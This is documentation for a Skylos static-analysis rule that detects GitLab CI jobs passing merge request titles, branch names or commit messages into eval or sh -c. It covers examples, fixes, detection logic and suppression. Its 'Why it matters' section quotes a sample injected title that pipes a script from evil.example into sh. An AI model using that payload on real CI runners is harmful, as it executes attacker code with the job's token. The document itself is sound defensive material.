SKY-D317 · CI/CD pipelines
GitLab CI untrusted eval
GitLab passes merge request titles, commit messages and branch names to jobs as variables such as $CI_MERGE_REQUEST_TITLE. The shell expands them as plain text, which is safe, until a command such as eval, sh -c or python -c reads that text again as code. SKY-D317 reports a script line that does both.
- Languages
- GitLab CI
- Quality gate
- counted toward the gate limits (full and diff scans)
- Finding type
- review
Why it matters
A merge request titled x'; curl -s https://evil.example/x.sh | sh; ' turns the title check into a command run on your runner, with the job's variables and token. Branch names and commit messages work the same way.
What Skylos flags
stages: [test] mr-title: stage: test image: alpine:3.20 rules: - if: $CI_PIPELINE_SOURCE == "merge_request_event" script: - sh -c "./ci/check-title.sh '$CI_MERGE_REQUEST_TITLE'"What Skylos leaves alone
stages: [test] mr-title: stage: test image: alpine:3.20 rules: - if: $CI_PIPELINE_SOURCE == "merge_request_event" script: - eval "$(ssh-agent -s)" - ./ci/check-title.sh "$CI_MERGE_REQUEST_TITLE"Why Skylos leaves it alone
The title reaches the script as a quoted argument, which the shell treats as data. The eval only runs ssh-agent's own output. Skylos checks each script: item on its own, and no item has both.
How Skylos decides
- Runs with
--danger(and-a). Reads every file named exactly.gitlab-ci.ymlin the scanned folder, skipping.git,node_modules,.venv,venv,build,distand cache folders. A subfolder scan of a Git repository also reads the repository's top-level.gitlab-ci.yml. Files pulled in withinclude:are not read. - Skips a file that PyYAML's safe loader cannot read, without a warning. That includes every file that uses GitLab's
!referencetag. - For every job, hidden
.templatejobs included, reads each string of itsbefore_script,script,after_script(the job's own, else thedefault:one, else the top-level one) andhooks:pre_get_sources_script. - Reports a string that contains both an untrusted variable and an eval sink. The variables are
CI_MERGE_REQUEST_TITLE,CI_MERGE_REQUEST_DESCRIPTION,CI_MERGE_REQUEST_SOURCE_BRANCH_NAME,CI_EXTERNAL_PULL_REQUEST_SOURCE_BRANCH_NAME,CI_COMMIT_MESSAGE,CI_COMMIT_REF_NAMEandCI_COMMIT_BRANCH, written$NAMEor${NAME}. The sinks areeval,bash -c,sh -c,zsh -c(or-lc), and-cor-eafterpython,python3,node,ruby,perlorphp. - It does not check that the variable is inside the sink: both in one string is enough. A variable copied into a shell variable in one item and evaluated in another is not followed.
- Every finding is HIGH, on the first line of the file that contains the string's first line.
How to fix it
Pass the value as a quoted argument or read it from the environment inside the script, never as part of a string that is run as code.
stages: [test] mr-title: stage: test image: alpine:3.20 rules: - if: $CI_PIPELINE_SOURCE == "merge_request_event" script:Removed: - sh -c "./ci/check-title.sh '$CI_MERGE_REQUEST_TITLE'"Added: - ./ci/check-title.sh "$CI_MERGE_REQUEST_TITLE"When it can be wrong
- A multi-line
script: |block counts as one string, so a block that prints$CI_COMMIT_REF_NAMEon one line and runseval "$(ssh-agent -s)"on another is reported. CI_COMMIT_REF_NAMEandCI_COMMIT_BRANCHare reported on any pipeline, including those for protected branches only maintainers can push to.- Hidden
.templatejobs are checked as jobs.
Seeing a case that isn't listed here? Report the wrong result so the rule can be fixed. Don't paste company code: describe the shape of it.
How to silence it
Put
# skylos: ignore[SKY-D317]and a reason on the reported line, or on the line directly above it. Skylos looks for that exact text, so write one rule per marker, with the ID in upper case.YAML script: # skylos: ignore[SKY-D317] runs only for protected tags - sh -c "./ci/publish.sh '$CI_COMMIT_REF_NAME'"A baseline hides the findings that exist today. Each entry records the rule, the absolute file path and the line, so it stops matching when the line moves or the checkout is at another path.
[tool.skylos] ignore = ["SKY-D317"]turns the rule off for the whole project.